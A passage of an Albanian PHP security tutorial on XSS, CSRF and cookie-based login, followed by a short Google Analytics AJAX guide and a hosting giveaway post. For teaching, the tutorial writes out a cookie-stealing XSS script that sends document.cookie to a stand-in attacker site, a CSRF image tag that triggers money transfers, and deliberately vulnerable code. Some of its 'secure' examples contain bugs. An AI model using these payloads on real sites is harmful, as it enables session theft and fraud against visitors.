		include('paneli-anetarit.php');
	}
}
?>

XSS: Cross Site Scripting

Cross Site Scripting, ose si ç’njihet shkurtimisht: XSS, është teknika tjetër popullore për të sulmuar një aplikacion. Edhe këtu rrezikshmëria është e madhe, por ndryshe nga SQL Injections, kërkon interaksion me vizitorët. Në thelb, sulmuesi injekton në faqe një kod i cili bën veprime të caktuara. Mund të jetë një kod HTML i thjeshtë për të luajtur (psh: <marquee>), ose një taktikë shumë më e rrezikshme si përdorimi i Javascript për të vjedhur Cookies.

Si shembull do të marr një formë të thjeshtë komentesh, meqë është rasti tipik ku vizitorët mund të shkruajnë lirisht dhe kushdo i sheh. Kodi PHP shton komentin (nëse POST është vendosur) dhe shfaq të gjitha komentet në faqe.

<form method="post">
	<label>Emri</label>
	<input type="text" name="emri" />
	<label>E-Mail</label>
	<input type="text" name="emri" />
	<label>Mesazhi</label>
	<textarea name="mesazhi"></textarea>
	<button type="submit">Posto</button>
</form>

<?php
if (isset($_POST['emri'])) {
	$emri = $_POST['emri'];
	$email = $_POST['email'];
	$mesazhi = $_POST['mesazhi'];
 
	$rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')");
	if ($rezultatet) {
		echo 'Komenti u postua me sukses';
	}
}
 
$rezultatet = mysql_query("SELECT * FROM komentet ORDER BY data DESC");
while ($vlerat = mysql_fetch_assoc($rezultatet)) {
	echo $vlerat['emri'] . ' ' . $vlerat['email'] . '<br />';
	echo $vlerat['mesazhi'];
	echo '<br /><br />';
}
?>

Kod i thjeshtë besoj?! Fillimisht kontrollon nëse është postuar forma dhe e shton në databazë, ndërsa më poshtë shfaq të gjitha mesazhet. Kodit i mungon kontrolli i të dhënave dhe është vulnerabël ndaj SQL Injections, por në këtë moment na intereson XSS, kështu që mos të zgjatemi pa arsye.

Problemi i madh i kodit më sipër është se supozon që çdo vizitor është njeri i besuar që s’ka fare interes të përfitojë. Kundërshtim direkt me “Murin Mbrojtës”. Në fakt, kodi është aq vulnerabël sa kushdo mund të postojë çfarëdo. Le të postojmë në atë formë diçka që përfiton direkt të dhëna sensitive nga vizitorët.

Plotësoj një emër dhe email çfarëdo, ndërsa në fushën e mesazhit postoj kodin më poshtë:

<script src="text/javascript">
document.location = "http://www.faqjaesulmuesit.com/merrcookie.php?c=" + document.cookie;
</script>

Praktikisht kam injektuar kodin më sipër në faqe duke e bërë pjesë integrale të saj. Sa herë që një vizitor hap faqen e komenteve, automatikisht egzekutohet kodi më sipër. Ndërkohë, në serverin tim ruaj një skedar PHP i cili merr Cookie-n nga parametri “c” dhe ma dërgon me email. Në Javascript, document.cookie kthen të gjitha Cookie-t e krijuara në atë faqe. Rezultati i kësaj? Morra të gjitha Cookie-t e vizitorëve vetëm duke injektuar një kod fare të thjeshtë. Imagjinojeni këtë në një sistem më kompleks ku merret Cookie i administratorit. Automatikisht, sulmuesi mund ta përdorë për tu identifikuar në sistem pa pasur nevojë të dijë asnjë të dhënë, por thjeshtë duke krijuar një Cookie me të dhënat e marra nga sulmi XSS. Do të ishte shkatërruese!

XSS nuk limitohet vetëm në rastin më sipër, por ka fushë më të gjerë veprimi. Mjafton të ketë të dhëna hyrëse të cilat shfaqen më pas diku (dhe normalisht, pothuajse gjithmonë shfaqen diku) dhe sistemi është vulnerabël. Mund të mos përdoret vetëm për të përftuar të dhëna, por edhe për reklamim. Imagjinoni rastin më sipër, por kodi Javascript të dërgon në faqen personale të sulmuesit. Vizita automatike pa asnjë lodhje.

Shmangja e XSS

Për fat të mirë, edhe XSS është aq e lehtë të shmanget sa gjithçka varet nga një funksion. Kodi më poshtë i pastron të dhënat hyrëse dhe është tërësisht i mbrojtur nga XSS.

<?php
if (isset($_POST['emri'])) {
	$emri = htmlentities($_POST['emri'], ENT_QUOTES);
	$email = htmlentities($_POST['email'], ENT_QUOTES);
	$mesazhi = htmlentities($_POST['mesazhi'], ENT_QUOTES);
 
	$rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')");
	if ($rezultatet) {
		echo 'Komenti u postua me sukses';
	}
}
?>

htmlentities() është një tjetër funksion që duhet t’ju bëhet rutinë. Ajo që bën është konvertimi i karaktereve speciale në entitete HTML, në mënyrë që teksti të mos konsiderohet si kod, por të shfaqet në formën e tij origjinale. Kjo bën që çdo lloj kodi, qoftë HTML apo Javascript, të shfaqet si tekst i thjeshtë. XSS u neutralizua!

Duke qenë se kodi bën edhe query SQL, egziston rreziku i SQL Injections dhe duhet pastruar. Për ta bër më të thjeshtë, në kodin më poshtë kam ndërtuar një funksion që pastron të dhënat edhe nga XSS, edhe nga SQL Injections.

<?php
if (isset($_POST['emri'])) {
	$emri = pastro($_POST['emri']);
	$email = pastro($_POST['email']);
	$mesazhi = pastro($_POST['mesazhi']);
 
	$rezultatet = mysql_query("INSERT INTO komentet (emri, email, mesazhi) VALUES ('$emri', '$email', '$mesazhet')");
	if ($rezultatet) {
		echo 'Komenti u postua me sukses';
	}
}
 
function pastro ($teksti) {
	$teksti = mysql_real_escape_string(htmlentities($teksti));
	return $teksti;
}
?>

Me vetëm dy funksione shmangen pjesa madhore e sulmeve në aplikacione web. Kini parasysh që shumica e sulmuesëve janë njerëz në moshë të vogël që kanë parë ndonjë video apo kanë lexuar ndonjë artikull mbi sulmimin e aplikacioneve. Kuptohet lehtë që tentativat kryesore do të jenë ato që s’kërkojnë shumë punë dhe kohë. XSS dhe SQL Injections janë më të lehtat!

CSRF: Cross-Site Request Forgeries

Cross-Site Request Forgeries, ose ndryshe CSRF, është një tip sulmi pak më i komplikuar dhe që kërkon disa kushte për tu egzektuar. Sidoqoftë, ka qenë dhe vazhdon të jetë i përhapur në aplikacionet ku programuesit s’janë treguar të përgjegjshëm.

CSRF është një sulm ku sulmuesi e bën viktimën të egzekutojë kërkesa HTTP pa dijeninë e këtij të fundit. Viktima mund të jetë çdo vizitor i faqes dhe kjo e bën të rrezikshme, sepse tentativat e sulmeve janë praktikisht të padallueshme pa raportim nga vizitorët ose vërejtje e veprimeve të çuditshme. Ajo që ndodh, është se sulmuesit zbulojnë forma në aplikacion të cilat janë vulnerabël ndaj manipulimeve dhe i bëjnë viktimat të dërgojnë të dhëna pa bërë asnjë veprim. Kjo kryhet duke i bërë ata të vizitojnë një faqe apo edhe thjeshtë një imazh të përfshirë diku; mjafton që teknika të egzekutojë një kërkesë HTTP e cila kryen veprime nga ana e viktimës. Teorikisht duket abstrakte, prandaj po ju tregoj një shembull konkret.

Rasti më i mirë dhe më dramatik për ta ilustruar është duke përdorur një shembull nga Wikipedia. Supozojmë se kemi një sistem pagese ku anëtarët mund të bëjnë transferta parash midis tyre. Anëtari viktimë do të jetë Beni, ndërsa anëtari sulmues Dori. Fillimisht do të ndërtoj formën e transfertës së parave midis anëtarëve dhe kodin PHP që e proçeson dhe egzekuton atë. Kuptohet, kodin do ta shkruaj që të jetë vulnerabël ndaj CSRF.

<form method="post">
	<label>Tek</label>
	<input type="text" name="tek" />
	<label>Sasia e Parave</label>
	<input type="text" name="sasia" />
	<button type="submit">Dergo</button>
</form>

<?php
if (isset($_REQUEST['tek'])) {
	$tek = mysql_real_escape_string($_REQUEST['tek']);
	$sasia = (float) $_REQUEST['sasia'];
 
	$rezParate = mysql_query("SELECT parate FROM anetaret WHERE emri='$nga'"); //$nga po supozoj se vjen nga nje COOKIE
	$vlerParate = mysql_fetch_assoc($rezParate);
 
	$rezEgzis = mysql_query("SELECT id FROM anetaret WHERE emri='$tek'");
 
	/*
		Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston.
		Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve,
		poer e ben punen si shembull.
	*/
	if ($vlerParate['parate'] >= $sasia and mysql_num_rows($rezEgzis)) {
		/*
			I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten.
			Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese
			njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione.
		*/
		$rezTransferta = mysql_query("INSERT INTO transfertat (nga, tek, sasia) VALUES ('$nga', '$tek', '$sasia')");
		$rezMinus = mysql_query("UPDATE anetaret SET parate=parate - $sasia WHERE emri='$nga'");
		$rezPlus = mysql_query("UPDATE anetaret SET parate=parate + $sasia WHERE emri='$tek'");
 
		echo 'Transferta u krye me sukses.';
	} else {
		echo 'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.';
	}
}
?>

Forma HTML është fare e thjeshtë: 2 fusha për të vendosur marrësin dhe sasinë e parave. Në kohën kur anëtari ndodhet në atë formë, supozohet të jetë identifikuar në sistem dhe të jetë krijuar një Cookie për të regjistruar gjendjen e identifikimit dhe për të ruajtur “emrin” e tij. Kodi PHP përdor atë Cookie për të kuptuar kush është dërguesi dhe formën për të përcaktuar marrësin dhe sasinë. Në fund, nëse sasia e parave e dërguesit është e mjaftueshme dhe marrësi egziston, transferta kryhet dhe paratë zbriten dhe rriten tek anëtarët përkatës. Një sistem i thjeshtë, por që mund të manipulohet po aq thjeshtë.

Gjëja e parë që duhet të vini re në kodin e mësipërm është përdorimi i $_REQUEST. Ju tregova në fillim të guidës që $_REQUEST është një variabël superglobale që akseson vlerat e POST, GET, COOKIE dhe SESSION. Sulmuesi, që normalisht është një anëtar, mjafton të testojë formën e dërgimit për të parë si reagon kur vendosen variabla GET. Duke qenë se përdoret $_REQUEST dhe nuk egziston kontrolli i burimit, forma do të egzekutohet pa bërë pyetje. Pra, le të themi se sulmuesi shkruan këtë adresë:

http://www.sistemipageses.com/dergopara.php?tek=Dori&sasia=1000

Ju kujtoj se sulmesi e ka emrin (hipotetik) Dori. Kemi një aplikacion vulnerabël ndaj CSRF, një URL e cila egzekuton formën duke përdorur GET dhe i dërgon Dorit 1000 njësi parash. Problemi qendron se sulmuesit s’i intereson ti dërgojë para vetes dhe i duhet një viktimë. Këtu hyn në lojë Beni!

Sulmesi tashmë ka disa opsione. I pari dhe më i thjeshti do të ishte nëse e njeh viktimën dhe i dërgon URL-në për ta hapur, gjë që automatikisht do transferonte 1000 para tek Dori. Edhe pse do funksiononte, duhet njohur viktima (gjë që rrallë ndodh) dhe për më tepër, do u kufizonte në vetëm një njeri; fundja Beni nuk është milioner. Sulmuesit i intereson të marrë pak para nga njerëz të ndryshëm, që sasia të jetë e madhe dhe të mos bie në sy. Vijmë pra tek teknika e dytë; ajo më fatalja.

Sulmuesi bën disa kërkime për të parë nëse aplikacioni ka ndonjë forum për suport, kërkesa dhe gjëra të kësaj natyre. Nëse e gjen, puna lehtësohet shumë, por edhe nëse jo, asgjë s’është e humbur. Mund të përdorë një grup forumesh të populluar dhe me siguri disa nga anëtarët e aplikacionit në fjalë do jenë pjesëmarrës atje. Në çdo rast, i mjafton të krijojë një profil dhe si firmë (një opsion i ofruar në pothuajse të gjitha forumet që shfaq një teskt/imazh në fund të çdo postimi) të vendosë rreshtin më poshtë. Forumet janë një shembull, por mundësitë janë të mëdha. Një ide e mirë (e keqe në fakt!) do të ishte krijimi i një blogu që flet për aplikacionin: guidë si përdoret, anë negative, raportim rastesh abuzimi dhe çdo gjë që mendja mund të shpikë. Është e sigurtë që anëtarët e vetë aplikacionit do e gjejnë faqen dhe do interesohen për shkrimet kontroverse (edhe pse të shpikura) në të. Kthehemi tek kodi:

<img src="http://www.sistemipageses.com/dergopara.php?tek=Dori&sasia=1000" alt="Firma Ime" />

Një imazh? Pikërisht një imazh me “src” (source – burim) që drejton tek URL-ja e manipuluar. Shfletuesit e proçesojnë dhe egzekutojnë URL-në në burim pa qenë të vetëdijshëm që nuk është imazh. Kjo bën që URL-ja të egzekutohet në çdo hapje të faqeve ku imazhi është vendosur. Në rastin tonë, ku imazhi ndodhet në firmën e sulmuesit apo në një postim blogu, kushdo që e sheh, e egzekuton. Imagjinoni nëse 100 anëtarë të aplikacionit në fjalë hapin forumin dhe egzekutojnë pa ditur atë URL! Duke qenë se sistemi përdor Cookies për anëtarët e identifikuar, dërgimi i parave do të kryhet automatikisht pa asnjë pyetje. Dori do të marrë 1000 para nga 100 anëtarë. Nëse do të ndodhte në një sistem të vërtetë, rezultatet do të ishin fatale!

Shpresoj ta keni kuptuar logjikën e funksionimit të CSRF, sepse të jem i sinqertë, është pak e komplikuar të gëlltitet. Sidomos sepse është teknikë paksa e çuditshme. Me siguri disa po mendojnë se është shumë e pamundur të ndodhë, sepse kërkon shumë përfshirje dhe kohë. Imagjinoni të bëhet fjalë për para të vërteta ku sulmuesi mund të përfitojë sasi të mëdha. Mendoni se s’ja vlen puna? Dikush me njohuri mund ta ndërtojë “rrjetin” e përfitimit brenda pak orëve.

Shmangja e CSRF

Për fat të mirë, ashtu si në teknikat e deri tanishme, edhe CSRF është e thjeshtë të shmanget nëse merren disa masa që nuk kërkojnë shumë punë. Kini parasysh këto pika:

• Mos përdorni $_REQUEST. E kam përmendur në fillim të guidës në një mini-seksion të veçantë. Mos njohja e burimit të të dhënave rrjedhimisht sjell probleme sigurie.
• Përdorni POST në forma që kryejnë veprime dhe lëreni GET vetëm për të marrë të dhëna. Ky është një standart i mirë që do ju shmangë probleme, përfshirë CSRF (nëse përdoret $_POST dhe jo $_REQUEST).
• Mos përdorni COOKIES në sisteme ku veprimet e anëtarëve kanë rrjedhoja. Në pjesën e madhe të rasteve, SESSIONS janë më të sigurtë. Nëse duhet patjetër ti ofroni anëtarëve autentifikim të zgjatur në kohë, merrni masat e duhura për të siguruar COOKIES (vjen në vijim).
• Kërkoni ri-autentifikim të anëtarëve në zona kritike të sistemit.

Masat e mësipërme, nëse respektohen zgjidhin problemet tipike që mund të vijnë nga CSRF. Megjithatë, për të qenë paranoikë në maksimum, mund të marrim një hap që praktikisht bllokon çdo tentativë për ti keqpërdorur format. Teknika përfshin krijimin e një fjale speciale të gjeneruar për çdo hapje forme, e cila ruhet si SESSION tek anëtari dhe përdoret për të parë nëse forma është egzekutuar në atë sesion. Shihni kodin më parë:

<?php 
session_start();
/*
	Gjeneron nje fjale te rastesishme. uniqid() eshte funksion i PHP
	qe gjeneron fjale ne baze te kohes ne mikrosekonda. Duke i vendosur
	parametrin e pare (prefiksi) si mt_rand(), krijon edhe me teper
	rastesi. Parametri i dyte (more_entropy) krijon gjithashtu me teper
	rastesi ne gjenerim. Ne fund, e gjithe fjala kriptohet me sha1.
*/
$token = sha1(uniqid(mt_rand(), TRUE));
 
/*
	Krijohet SESSION i cili mban token-in e gjeneruar.
*/
$_SESSION['token'] = $token;
?>
 
<form method="post">
	<!-- Token-i vendoset si fushe e fshehur ne forme -->
	<input type="hidden" value="<?php echo $token; ?>"
	<label>Tek</label>
	<input type="text" name="tek" />
	<label>Sasia e Parave</label>
	<input type="text" name="sasia" />
	<button type="submit">Dergo</button>
</form>
<?php
if (isset($_POST['tek']) and isset($_SESSION['token']) and $_SESSION['token'] == $_POST['token']) {
	$tek = mysql_real_escape_string($_POST['tek']);
	$sasia = (float) $_POST['sasia'];
 
	$rezParate = mysql_query("SELECT parate FROM anetaret WHERE emri='$nga'"); //$nga po supozoj se vjen nga nje COOKIE
	$vlerParate = mysql_fetch_assoc($rezParate);
 
	$rezEgzis = mysql_query("SELECT id FROM anetaret WHERE emri='$tek'");
 
	/*
		Nese anetari ka mjaftueshem para per te derguar dhe marresi egziston.
		Jo edhe aq miqesore, sepse do duhet te ndaheshin tipet e ndryshme te mesazheve,
		poer e ben punen si shembull.
	*/
	if ($vlerParate['parate'] >= $sasia and mysql_num_rows($rezEgzis)) {
		/*
			I heq dhe i shton parate respektivisht derguesit dhe marresisht dhe e regjistron transferten.
			Normalisht, ne te tilla sisteme ku nje grup query-sh duhet te egzekutohet ne bllok dhe nese
			njera deshton, deshtojne te gjitha, duhet te perdoren Transaksione.
		*/
		$rezTransferta = mysql_query("INSERT INTO transfertat (nga, tek, sasia) VALUES ('$nga', '$tek', '$sasia')");
		$rezMinus = mysql_query("UPDATE anetaret SET parate=parate - $sasia WHERE emri='$nga'");
		$rezPlus = mysql_query("UPDATE anetaret SET parate=parate + $sasia WHERE emri='$tek'");
 
		echo 'Transferta u krye me sukses.';
	} else {
		echo 'Parate nuk u derguar sepse nuk keni para ne llogari ose marresi nuk egziston.';
	}
}
?>

Funksioni i asaj fjale të veçantë, që quhet Token, është fare i thjeshtë. Gjenerohet një fjalë e rastësishme e cila rifreskohet në çdo hapje të faqes. Fjala ruhet në një SESSION dhe në të njëjtën kohë ruhet në një input të fshehur të formës. Kur forma egzekutohet, kontrollohet nëse fjala (Token) e ruajtur në SESSION është e njëjtë me atë të ruajtur në formë. Nëse janë të ndryshme, do të thotë se forma po tentohet të egzekutohet përmes një teknike manipulative dhe rrjedhimisht, bllokohet. Vetëm me kaq, jo vetëm që shmangen sulmet CSRF, por edhe abuzime të tjera si dërgimi automatik i formave përmes robotëve.

Për ta përmbledhur, CSRF është një teknikë që përfiton nga naiviteti i programuesëve për të shfrytëzuar viktimat. Edhe pse çdo sistem mund të jetë vulnerabël, ajo që sulmuesëve realisht u intereson është përfitimi. Sistemet ku janë të përfshira para, transferta njësish monetare, blerje produktesh apo çdo gjë që ka vlerë objektive, janë në majën e listës të sulmeve CSRF. Megjithatë, të mbrohesh është aq e thjeshtë sa nuk ka justifikim për të mbrojtur çdo sistem, qoftë ai edhe më i vogli ku sulmuesit s’mund të përftiojnë asgjë. Mbani mend që vrimat e sigurisë janë ato që ushqejnë sulmuesit të bëjnë edhe më tepër dëme, qoftë në aplikacionin tuaj apo të të tjerëve. Mos i jepni shkas t’ju duket vetja se janë të aftë të thyejnë sisteme.

Siguria e Cookies

Cookies, si natyrë nuk janë të dhëna që mund të konsiderohen të sigurta dhe praktika e mirë është ti mënjanoni për të dhëna sensitive apo për të dhënë akses në seksione private. Vetë XSS është një sulm që si shënjestër ka Cookies në pjesën e madhe të rasteve dhe megjithëse mund të keni marrë masat për ti parandaluar, kjo s’do të thotë që Cookies të vizitorëve janë të sigurta. Pra, tentoni të mënjanoni përdorimin e Cookies për veprime me rëndësi.

Një nga rastet e pakta ku përdorimi i Cookies është i pashmangshëm janë sistemet e identifikimit, ku i ofrohet anëtarëve opsioni “më mbaj mend” që ruan statusin e identifikuar. Në fakt, përgjithësisht është opsion i detyrueshëm sepse i lë anëtarët të futen në aplikacionin tuaj pa pasur nevojë të identifikohen në çdo rast. Le të shohim një shembull tipik identifikimi.

<?php
if (kontrollo_te_dhenat($emri, $fjalekalimi)) {
	setcookie('identifikuar', 1, time() + 3600 * 24 * 5); //vendos cookie per 5 dite
	echo 'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...';
} else {
	echo 'Te dhenat jane te gabuara.';
}
?>

Ajo që kodi më sipër bën është shumë e thjeshtë. Thërret një funksion fiktiv që kontrollon të dhënat e futura (emër dhe fjalëkalim) dhe nëse janë të sakta, vendos një Cookie me emër ‘identifikuar’ dhe vlerë ’1′. Teorikisht gjithçka është në rregull, sepse anëtarëve u krijohet një Cookie kur identifikohen. Për ti bërë që të futen automatikisht në sistem kur një Cookie egziston, programuesi shkruan një kod si ai më poshtë përpara kodit më sipër.

<?php
if (isset($_COOKIE['identifikuar']) and $_COOKIE['identifikuar'] == 1) {
	setcookie('identifikuar', 1, time() + 3600 * 24 * 5); //vendos cookie per 5 dite
	echo 'Te dhenat jane te sakte. Po drejtoheni ne panelin e administrimit...';
}
?>

Në këtë kod, kontrollohet nëse egziston Cookie dhe nëse vlera e tij është “1″. Nëse po, proçesi i identifikimit kryhet automatikisht dhe anëtari drejtohet në panelin e administrimit. Gjithashtu rivendoset Cookie për ti rinisur kohën e skadencës. Gjithçka në rregull apo jo? Absolutisht që jo! Kodi është aq vulnerabël sa edhe një 10 vjeçar mund të marrë akses si anëtar i regjistruar.

Besoj e dini që një Cookie mund të krijohet manualisht. Shfletues të ndryshëm kanë opsione të ndryshme për ti manipuluar, qoftë direkt apo përmes shtojcave. Gjithashtu, Cookies s’janë asgjë më tepër se skedarë të vegjël që ruhen diku në sistem. Si të tilla, një sulmues mund të krijojë një Cookie për aplikacionin tuaj që përmban vlera arbitrare. I duhet të eksperimentojë disi për të gjetur kombinimin egzakt të emrit dhe vlerës, por programuesit përdorin kryesisht terma standartë si: admin, identifikuar dhe ndonjë tjetër. Plus, si ç’kam thënë më sipër, kur dikush i vë qëllim vetes të thyejë një sistem, nuk do dorëzohet aq lehtë. Pra, përfundimi është që vetëm me një Cookie të krijuar manualisht, sulmuesi mund të marrë akses në sistemi si të ishte anëtar i regjistruar.

Për ta mënjanuar këtë problem, mund të përdoret një sistem fare i thjeshtë që ruan një token në cookie për ta bërë hamendësimin nga sulmuesi shumë më të vështirë. Për ta siguruar edhe më tepër, ky token mund të ruhet në databazë për ta krahasur me Cookie-n. Ideja është të gjenerohet një fjalë e cila është e njëjtë edhe në Cookie, edhe në databazë. Identifikimi automatik do të kryhet vetëm nëse të dyja përputhen.

<?php
if (isset($_COOKIE['identifikuar'])) {
	$id = (int) $_COOKIE['id']; //ID-ja e perdoruesit
	$token = $_COOKIE['identifikuar']; //token-i i ruajtur ne Cookie
 
	$rezultatet = mysql_query("SELECT token FROM anetaret WHERE id=$id");
	$vlerat = mysql_fetch_assoc($rezultatet);
 
	$token_db = $vlerat['token'];
 
	/*
		Nese tokeni ne Cookie eshte i njejte me tokenin ne Databaze,
		i japim akses ne panelin e administrimit.
	*/
	if ($token == $token_db) {
		$token_ri = sha1(uniqid(mt_rand(), TRUE)); //gjenerohet nje token i ri
 
		$rezultatet = mysql_query("UPDATE anetaret SET token='$token_ri' WHERE id=$id"); //rifreskohet databaza me tokenin e ri
		setcookie('identifikuar', $token_ri, time() + 3600*24*5); //rivendoset cookie me tokenin e ri
	}
}
?>

Me këtë sistem, siguroj që vlera e Cookie përputhet me vlerën në databazë dhe rrjedhimisht ofrohet një sistem identifikimi i padepërtueshëm. Sa do të provojë një sulmues të krijojë një Cookie me vlera arbitrare, do ishte e pamundur për të të gjente një vlerë që egziston në databazë. Normalisht, tokeni duhet të krijohet edhe gjatë identifikimit, proçes të cilin e anashkalova sepse besoj është i qartë. Një sistem si ky është goxha i thjeshtë për tu implementuar dhe shmang çdo sulmues që tenton të marrë akses prej një Cookie arbitrare. Nuk ka arsye pse mos ta përdorni!

SSL

Kjo nuk është një çështje që i përket PHP-së në fakt, por ka shumë lidhje me sigurinë e faqeve në përgjithësi. Ajo që SSL ofron, është kriptimi i të dhënave të transmetuara midis klientit dhe serverit për të mënjanuar leximin e këtyre informacioneve nga sulmues. Përdorimi i SSL është kyç në forma identifikimi, në module blerjesh, cookie apo çdo sektor ku të dhënat janë sensitive dhe në rrezik nga sulmues.

SSL duhet aktivizuar nga të dy kahet, nga serveri dhe klienti. Nga ana e serverit mund të instalohen module të specializuar; Apache vjen me mod_ssl, një modul i bazuar në libraritë e OpenSSL. Nga ana e klientit, mjafton që protokolli të kthehet nga “http” në “https”. Komunikimi do të kriptohet automatikisht.

Megjithatë, ka diçka më tepër këtu se sa përdorimi i një protokolli. Zakonisht, shfletuesit shfaqin një njoftim kur dedektohet komunikimi i kriptuar me SSL dhe nëse nuk përdoret një çertifikatë e vlefshme, vizitorit i duhet ta pranojë këtë tip komunikimi dhe ta shtojë si të besuar. Problemi qëndron se kjo i tremb vizitorët pa eksperiencë dhe shumë prej tyre nuk do dinë si të veprojnë. Për fat të mirë, kompanitë e hostimit ofrojnë çertifikata të besuara SSL të cilat njihen automatikisht nga shfletuesit dhe nuk kërkojnë veprim nga vizitori. Çmimi i tyre varjon, por zakonisht shkon midis $50-100/vit për një domain dhe akoma më pak nëse blihen për grup domaine-sh.

Përfundimi

Me ato që ju kam treguar më sipër, duhet të keni marrë informacion të mjaftueshëm për të mënjanuar pjesën më të madhe të problemeve të sigurisë. Mjafton të jeni të kujdesshëm, të përgjegjshëm dhe të konsideroni këdo si sulmues për të nxjerrë jashtë sulmuesit tipik. Gjithashtu, tentoni të përdorni pak filozofinë e një sulmuesi gjatë kohës që kodoni aplikacionet tuaja që ti shihni gjërat në një këndvështrim tjetër, që me siguri është shumë më pak naiv se ai i programuesëve.

Thënë këto, duhet të kuptoni që siguria është një fushë shumë e madhe. Skenarët e sulmeve të aplikacioneve PHP janë aq të gjerë sa nuk do mjaftonin libra. Praktikisht çdo ditë zbulohen teknika të reja. Shto këtu edhe vrimat e sigurisë që mund të dalin nga keq-konfigurimi i sistemit operativ, i serverit web, i ndonjë aplikacioni që serveri përdor apo akoma më kritike, probleme arkitekturore të tyre (përfshi edhe PHP) dhe mundësitë shtohen edhe më tepër. Nuk dua t’ju tremb, thjeshtë dua t’ju tregoj se bota atje jashtë është e egër dhe mizore.

Këshilla këtu do të ishte të merrni masat në maksimum për të siguruar aplikacionin. Paguani disa njerëz që kanë eksperiencë në siguri të tentojnë ta thyejnë sistemin para se ta publikoni. Ndërkohë, gjeni një ekspert sigurie që ta konfigurojë si ç’duhet sistemin operativ dhe serverin web. Është tërësisht normale të kërkoni ndihmë, sidomos në aplikacione ku integriteti i të dhënave është i rëndësishëm.

Në fund, mos harroni të bëni backup. Çfarëdo të ndodhë, të paktën do keni një kopje funksionale.

Mësim të mbarë.

Google Analytics është besoj zgjidhja tipike për matjen e trafikut në faqe. Falas, e thjeshtë dhe e fuqishme. Megjithatë, në faqet AJAX nuk do funksiononte si ç’duhet sepse matja e vizitës bëhet vetëm gjatë ngarkimit të parë. Pra, ngarkohet faqja, matet vizita dhe çfarë ndodh më pas nuk është më në interesin e Google Analytics. Për fat të mirë, zgjidhja është aq e lehtë sa kushdo mund ta përdorë.

Në momentin që shtoni faqen tuaj në Google Analytics, ju jepet një kod i ngjashëm me kodin më poshtë. I vetmi ndryshim është se unë e kam formatuar për ta bërë më të bukur.

var _gaq = _gaq || [];
 
_gaq.push(['_setAccount', 'UA-######-##']);
_gaq.push(['_trackPageview']);
 
(function() {
	var ga = document.createElement('script');
 
	ga.type = 'text/javascript';
	ga.async = true;
 
	ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
 
	var s = document.getElementsByTagName('script')[0];
	s.parentNode.insertBefore(ga, s);
})();

Ajo që kodi i dhënë bën kuptohet: mat vizitën. Çështja është se kodi egzekutohet vetëm kur faqja ngarkohet dhe na duhet një mënyrë për ta thërritur manualisht. Fare e lehtë! Vetëm një rresht:

_gaq.push(['_trackPageview', '/faqja']);

Duke thërritur funksionin push() të variablës _gaq, shtojmë një vizitë manualisht. Parametri i parë “_trackPageview” e instrukton që të mase vizitën, ndërsa parametri i dytë është faqja. Tani kemi dorë të lirë ta përdorim ku të duam.

Një Shembull Praktik

Ta shohim përdorimin e thërritjes manuale në një shembull pak më praktik. Do të ndërtoj lidhje HTML dhe do ju tregoj 2 mënyra të thjeshta. Fillimisht, kodi HTML:

<ul id="menu">
	<li><a href="#!/kreu">Kreu</a></li>
	<li><a href="#!/rreth">Rreth</a></li>
	<li><a href="#!/kontakt">Kontakt</a></li>
</ul>

Një menu tipike e ndërtuar me një listë të parenditur. Do shikoni që “href” e lidhjeve është gati për AJAX. Le ti bëjmë gati edhe për Google Analytics! Vetëm kini parasysh që të dyja mënyrat më poshtë duhet të egzekutohen pas kodit bazë të Google Analytics.

Mënyra e Parë
Më e thjeshta që mund të bëjmë është të shtojmë kodin e vizitës manuale në atributin “onclick” të lidhjeve. S’është shumë e bukur, por e bën punën!

<ul id="menu">
	<li><a href="#!/kreu" onclick="_gaq.push(['_trackPageview', '/kreu']);">Kreu</a></li>
	<li><a href="#!/rreth" onclick="_gaq.push(['_trackPageview', '/rreth']);">Rreth</a></li>
	<li><a href="#!/kontakt" onclick="_gaq.push(['_trackPageview', '/kontakt']);">Kontakt</a></li>
</ul>

Mënyra e Dytë
Për shumë më tepër fleksibilitet dhe mirëmbajtje të lehtë, mund të shkruajmë unobtrusive Javascript që shtimi manual i vizitës të jetë dinamik. Si gjithmonë, do të përdor jQuery për t’ja lehtësuar jetën vetes.

$('#menu').find('a').click(function() {
	href = $(this).attr('href');
	href = href.replace('#!', '');
 
	_gaq.push(['_trackPageview', href]);
});

Përfundimi

Vërtetë ishte një guidë e shkurtër dhe specifike, por shpresoj ti hyjë në punë atyre që u pëlqen të ndërtojnë faqe me AJAX. Implementimi është i thjeshtë si të hash një kokërr mollë dhe nuk ka justifikim mos ta përdorni.

Mësim të mbarë.

Fituesi i kësaj dhurate fantastike është: Leotrin me adresë e-maili: leotrin.elmazi@*****.com. Do të kontaktojmë për të të dhënë dhuratën. Urime!

Fituesi u zgjodh rastësisht nga një aplikacion i vogël i krijuar posaçërisht për këtë qëllim. Aplikacioni merr automatikisht nga faqja të gjithë emrat e komentuesëve dhe nxjerr një emër të rastësishëm.

Faqja e re e Feniksit është pritur me entuziazëm nga vizitorët dhe kjo na ka gëzuar vërtetë. Shpresojmë të vazhdojë kështu dhe ai entuziazëm të mbetet i tillë për ju dhe për ne.

Por, qëllimi i këtij postimi është t’ju prezantoj një dhuratë që vjen nga zemër-gjerësia e TheHosting.ME për një vizitor të Feniksit. Ofrohen Falas për 1 vit: 1 Paketë Hostimi (Medium Hosting) dhe 1 Domain çfarëdo, përfshi ato .al. Një dhuratë kaq fantastike, me vlerë nga 42 Euro deri në 52 Euro, në varësi të domainit, vetëm TheHosting.ME mund ta bëjë.

Çfarë duhet të bëni për të marrë pjesë? Asgjë të komplikuar. Mjafton të komentoni në këtë postim, të plotësoni saktë fushat e emrit dhe e-mailit dhe të shkruani vetëm këtë mesazh:

Faleminderit TheHosting.Me

Komentet që nuk përmbajnë e-mail dhe nuk kanë të shkruar mesazhin më sipër, NUK do të konsiderohen.

